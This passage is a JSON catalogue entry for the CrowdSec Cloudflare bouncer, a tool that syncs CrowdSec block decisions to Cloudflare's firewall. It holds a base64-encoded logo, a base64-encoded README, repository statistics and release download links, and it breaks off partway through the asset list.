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", "url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer", "description": "A CrowdSec Bouncer that syncs the decisions made by CrowdSec with CloudFlare's firewall. Manages multi user, multi account, multi zone setup. Supports IP, Country and AS scoped decisions.", "stars": 25, "downloads": 469, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1jbG91ZGZsYXJlLWJvdW5jZXIvcmF3L21haW4vZG9jcy9hc3NldHMvY3Jvd2RzZWNfY2xvdWRmYXJlLnBuZyIgYWx0PSJDcm93ZFNlYyIgdGl0bGU9IkNyb3dkU2VjIiB3aWR0aD0iMjgwIiBoZWlnaHQ9IjMwMCIgLz4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvYnVpbGQtcGFzcy1ncmVlbiI+CjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL3Rlc3RzLXBhc3MtZ3JlZW4iPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCiMgQ3Jvd2RTZWMgQ2xvdWRmbGFyZSBCb3VuY2VyCgpBIGJvdW5jZXIgZm9yIENsb3VkZmxhcmUuCgojIyBIb3cgZG9lcyBpdCB3b3JrCgpBIGJvdW5jZXIgdGhhdCBzeW5jcyB0aGUgZGVjaXNpb25zIG1hZGUgYnkgQ3Jvd2RTZWMgd2l0aCBDbG91ZEZsYXJlJ3MgZmlyZXdhbGwuIE1hbmFnZXMgbXVsdGkgdXNlciwgbXVsdGkgYWNjb3VudCwgbXVsdGkgem9uZSBzZXR1cC4gU3VwcG9ydHMgSVAsIENvdW50cnkgYW5kIEFTIHNjb3BlZCBkZWNpc2lvbnMuCgojIERvY3VtZW50YXRpb24KClBsZWFzZSBmb2xsb3cgdGhlIFtvZmZpY2lhbCBkb2N1bWVudGF0aW9uXShodHRwczovL2RvY3MuY3Jvd2RzZWMubmV0L2RvY3MvYm91bmNlcnMvY2xvdWRmbGFyZSku", "status": "stable", "version": "v0.2.1", "assets": [ { "name": "crowdsec-cloudflare-bouncer-freebsd-amd64.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-freebsd-amd64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-cloudflare-bouncer/releases/assets/73427248" }, { "name": "crowdsec-cloudflare-bouncer-linux-arm64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-linux-arm64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-cloudflare-bouncer/releases/assets/73427251" }, { "name": "crowdsec-cloudflare-bouncer-freebsd-arm64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-freebsd-arm64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-cloudflare-bouncer/releases/assets/73427252" }, { "name": "crowdsec-cloudflare-bouncer-linux-arm64.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-linux-arm64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-cloudflare-bouncer/releases/assets/73427255" }, { "name": "crowdsec-cloudflare-bouncer-linux-amd64.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-linux-amd64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-cloudflare-bouncer/releases/assets/73427257" }, { "name": "crowdsec-cloudflare-bouncer-freebsd-amd64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-cloudflare-bouncer/releases/download/v0.2.1/crowdsec-cloudflare-bouncer-freebsd-amd64-static.tgz", "asset_url": 